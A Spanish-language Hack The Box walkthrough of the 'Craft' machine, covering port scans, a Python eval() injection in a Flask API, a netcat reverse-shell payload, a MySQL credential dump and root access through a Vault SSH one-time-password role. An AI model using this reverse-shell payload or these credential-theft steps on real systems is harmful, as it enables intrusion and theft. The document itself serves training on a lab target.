This page looks best with JavaScript enabled

Hack The Box - Craft

 ·  ÔśĽ 8 min read  ·  ÔťŹ´ŞĆ sckull

Craft es una maquina de HackTheBox aqui encontrarás la solucion para obtener la flag user.txt y root.txt.

Informacion de la Maquina

Nombre Craft
OS Linux
Puntos 30
Dificultad Media
IP 10.10.10.110
Maker rotarydrone

MASSCAN

1
2
3
4
5
6
7
8
9
masscan -p1-65535,U:1-65535 10.10.10.110 --rate=1000 -e tun0               

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-07-30 06:56:40 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.10.110
Discovered open port 443/tcp on 10.10.10.110
Discovered open port 6022/tcp on 10.10.10.110

NMAP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# Nmap 7.70 scan initiated Tue Jul 30 03:13:35 2019 as: nmap -sV -sC -p 22,443,6022 -o nmap.scan 10.10.10.110
Nmap scan report for 10.10.10.110
Host is up (0.13s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
| ssh-hostkey: 
|   2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
|   256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_  256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp  open  ssl/http nginx 1.15.8
|_http-server-header: nginx/1.15.8
|_http-title: About
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Not valid before: 2019-02-06T02:25:47
|_Not valid after:  2020-06-20T02:25:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|_  http/1.1
6022/tcp open  ssh      (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-Go
| ssh-hostkey: 
|_  2048 5b:cc:bf:f1:a1:8f:72:b0:c0:fb:df:a3:01:dc:a6:fb (RSA)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6022-TCP:V=7.70%I=7%D=7/30%Time=5D3FEE27%P=x86_64-pc-linux-gnu%r(NU
SF:LL,C,"SSH-2\.0-Go\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jul 30 03:14:26 2019 -- 1 IP address (1 host up) scanned in 51.23 seconds

HTTPS

Visitamos la pagina en HTTPS nos muestra un mensaje que nos habla de una rest API.

image

Subdominios

Nos movilizamos atravez de las diferentes rutas que nos provee la pagina y encontramos un dominio y dos subdominios, los cuales agregamos a nuestro archivo /etc/hosts.

craft.htb
api.craft.htb
gogs.craft.htb

image

https://api.craft.htb/api/

En la pagina de api nos meustra distintas opciones con las cuales podemos interactuar con una interfaz y tambien nos provee diferentes comandos con curl, para hacer solicitudes a la API.

image

https://gogs.craft.htb/

En la pagina de gogs nos encontramos con la plataforma gogs que permite el gestionamiento de repositorios, dentro de la misma plataforma nos encontramos con un repositorio.

image

CRAFT API

Analizamos el codigo que se encuentra en el repositorio el cual pertenece a la rest API que nos menciona la pagina principal (craft.htb), contiene toda la estructura de como funciona esta API. Dentro, encontramos que se hizo un cambio a una parte de codigo que pertenece a la creacion de un nuevo brew de la API.

image

Dicho cambio incluye una porcion de codigo de python que es vulnerable a ejecucion de comandos remota o RCE.

Porcion de codigo vulnerable especificamente eval():

1
2
if eval('%s > 1' % request.json['abv']):
	return "ABV must be a decimal value less than 1.0", 400

Python Code Injection

Ademas de eso encontramos un archivo test.py que contiene un usuario y contrase├▒a para generar un token, para luego crear un ‘brew’ insatisfactorio y satisfactoriamente. El primero contiene un numero con punto decimal mayor a 1 que debe de ser rechazado por la API. El segundo un numero menor a 1 con punto decimal que debe de ser aceptado por la API.

Archivo test.py:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python

import requests
import json

response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token =  json_response['token']

headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json'  }

# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)

# create a sample brew with bogus ABV... should fail.

print("Create bogus ABV brew")
brew_dict = {}
brew_dict['abv'] = '15.0'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'

json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)


# create a sample brew with real ABV... should succeed.
print("Create real ABV brew")
brew_dict = {}
brew_dict['abv'] = '0.15'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'

json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)

Prueba del archivo test.py:
image

RCE - Craft API

Para poder ejecutar comandos y obtener una shell inversa a travez de la vulnerabilidad que encontramos en el codigo del repositorio vamos a modificar el archivo test.py, agregandole un comando que va a ser ejecutado por la funcion eval(). Agregamos nuestra shell inversa “escapando” todas los backslash que se encuentran para no tener ningun problema al ejecutarse. Y Ponemos a la escucha nuestra maquina.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
import requests
import json

response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token =  json_response['token']
headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json'  }
# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)

a = "__import__('os').popen('rm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|\/bin\/sh -i 2>&1|nc 10.10.14.184 8878 >\/tmp\/f').read()"

# create a sample brew with real ABV... should succeed.
print("Create real ABV brew")
brew_dict = {}
brew_dict['abv'] = a
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'
json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)

Al ejecutar el script obtenemos una shell inversa:
image

MYSQL - Dump Credentials

Dentro del sistema de archivos encontramos los mismos archivos pertenecientes al repositorio, al ejecutar el archivo de dbtest.py obtenemos una respuesta de la base de datos MySQL.

Archivos:
image

Prueba dbtest.py
image

Archivo settings.py con credenciales de la base de datos:
image

Para poder obtener Credenciales que se encuentran en la base de datos utilizamos nuevamente el repositorio, ya que en este se encuentra el modelo de las tablas de la base de datos, brew y user, por lo que podemos obtener facilmente las columnas y el nombre de las tablas.

craft_api/database/models.py

image

Para realizar un query a la base de datos utilizamos y modificamos el archivo dbtest.py:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python
import pymysql
import sys
from craft_api import settings

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
    user=settings.MYSQL_DATABASE_USER,
    password=settings.MYSQL_DATABASE_PASSWORD,
    db=settings.MYSQL_DATABASE_DB,
    cursorclass=pymysql.cursors.DictCursor)

try:    
    with connection.cursor() as cursor:
        sql = sys.argv[1]
        cursor.execute(sql)
        result = cursor.fetchall()
        print(result)
finally:
    connection.close()

Teniendo nuestro archivo listo utilizamos el siguiente query para obtener los datos:

1
SELECT * FROM user

Archivo dbtest.py modificado:
image

Obtenemos las credenciales que estan dentro de la base de datos, una de ellas ya la teniamos dentro del script test.py:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
[
   {
      'id':1,
      'username':'dinesh',
      'password':'4aUh0A8PbVJxgd'
   },
   {
      'id':4,
      'username':'ebachman',
      'password':'llJ77D8QFkLPQB'
   },
   {
      'id':5,
      'username':'gilfoyle',
      'password':'ZEU3N8WNM2rh4T'
   }
]

USER gilfoyle - SHELL SSH

Obtuvimos las credenciales de 3 “usuarios”, ninguno de ellos funciona en el servicio de SSH, pero dos de ellos si funcionan en la plataforma Gogs.

Por un lado tenemos al usuario dinesh quien puede realizar cambios dentro del codigo del repositorio de la API de craft.

Con el usuario gilfoyle nos muestra un repositorio m├ís al del usuario dinesh este nos muestra como esta la infraestructura del ‘servidor’. Entre las cosas que tiene este repositorio encontramos el ‘craft-flask’ el cual contiene la informacion para la Shell de privilegios bajos con la que pudimos obtener las credenciales, y, tambien informacion del servidor nginx, mysql, vault y ssh.

En la carpeta .ssh encontramos la clave publica y privada del usuario gilfoyle perteneciente al servicio de SSH, utilizamos dicha clave para obtener una shell SSH. Al utilizar la clave nos pide una frase utilizamos la contrase├▒a (ZEU3N8WNM2rh4T) que encontramos en la base de datos de este usuario.

image

Obtenemos una shell y nuestra flag user.txt.

PRIVILEGE ESCALATION

Nuevamente volvemos al repositorio donde encontramos la infraestructura que tiene el servidor, dentro, encontramos en la carpeta vault la configuracion de esta plataforma, esta plataforma da el acceso y control de contrase├▒as, certificados, claves de APIs, contrase├▒as, etc.

image

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
    storage "file" {
        path = "/vault/data"
      }
    ui = false
    listener "tcp" {
      address = "0.0.0.0:8200"
      tls_cert_file = "/vault/pki/vault.craft.htb.crt"
      tls_key_file = "/vault/pki/vault.craft.htb.key"
      tls_min_version = "tls12"
    }

Revisamos la documentacion de esta plataforma y las opciones que contiene este archivo. Encontramos que la plataforma esta corriendo en el puerto 8200 y su interfaz grafica (ui) esta desactivada. Dentro de la maquina especificamente en el archivo /etc/hosts encontramos que la plataforma esta configurada en la ip y dominio:

1
172.20.0.2 vault.craft.htb

image

Comprobamos que la interfaz grafica este desactivada traemos 172.20.0.2 con el puerto 8200 localmente:

1
ssh -L 8200:172.20.0.2:8200 gilfoyle@10.10.10.110 -i gilfoyle_id_rsa

SSH

image

Local

Pudimos comprobar que la plataforma esta desactivada graficamente.
image

ROOT - One Time Password

One time password permite a algun usuario crear una contrase├▒a cada vez que lo desee conectarse en el servicio SSH mediante comandos. De igual forma dentro del repositorio encontramos un archivo llamado secret.sh el cual contiene una configuracion para activar ssh, crear un Rol con el usuario root con las IP que se representen dentro de cidr_list.

One Time SSH

1
2
3
4
5
6
vault secrets enable ssh

vault write ssh/roles/root_otp \
    key_type=otp \
    default_user=root \
    cidr_list=0.0.0.0/0

image

Utilizamos el archivo secrets.sh, lo modificamos y lo ejecutamos:

1
2
3
4
5
6
vault secrets enable ssh

vault write ssh/roles/root_otp \
    key_type=otp \
    default_user=root \
    cidr_list=172.20.0.0/0

Creamos una credencial para nuestra ip con el rol de root_otp.

1
vault write ssh/creds/root_otp ip=172.20.0.1

Cuando creamos nuestra credencial nos muestra los detalles:

image

Utilizamos la clave (key) como contrase├▒a:

key: 70a2c9bc-4644-8bbd-f010-0c08193a3b7f

Nos conectamos mediante ssh al usuario root localmente (0.0.0.0):

ssh root@0.0.0.0

Obtenemos una shell como usuario root y nuestra flag root.txt:

image

Share on

sckull
WRITTEN BY
sckull
Pentester wannabe

HTB: Craft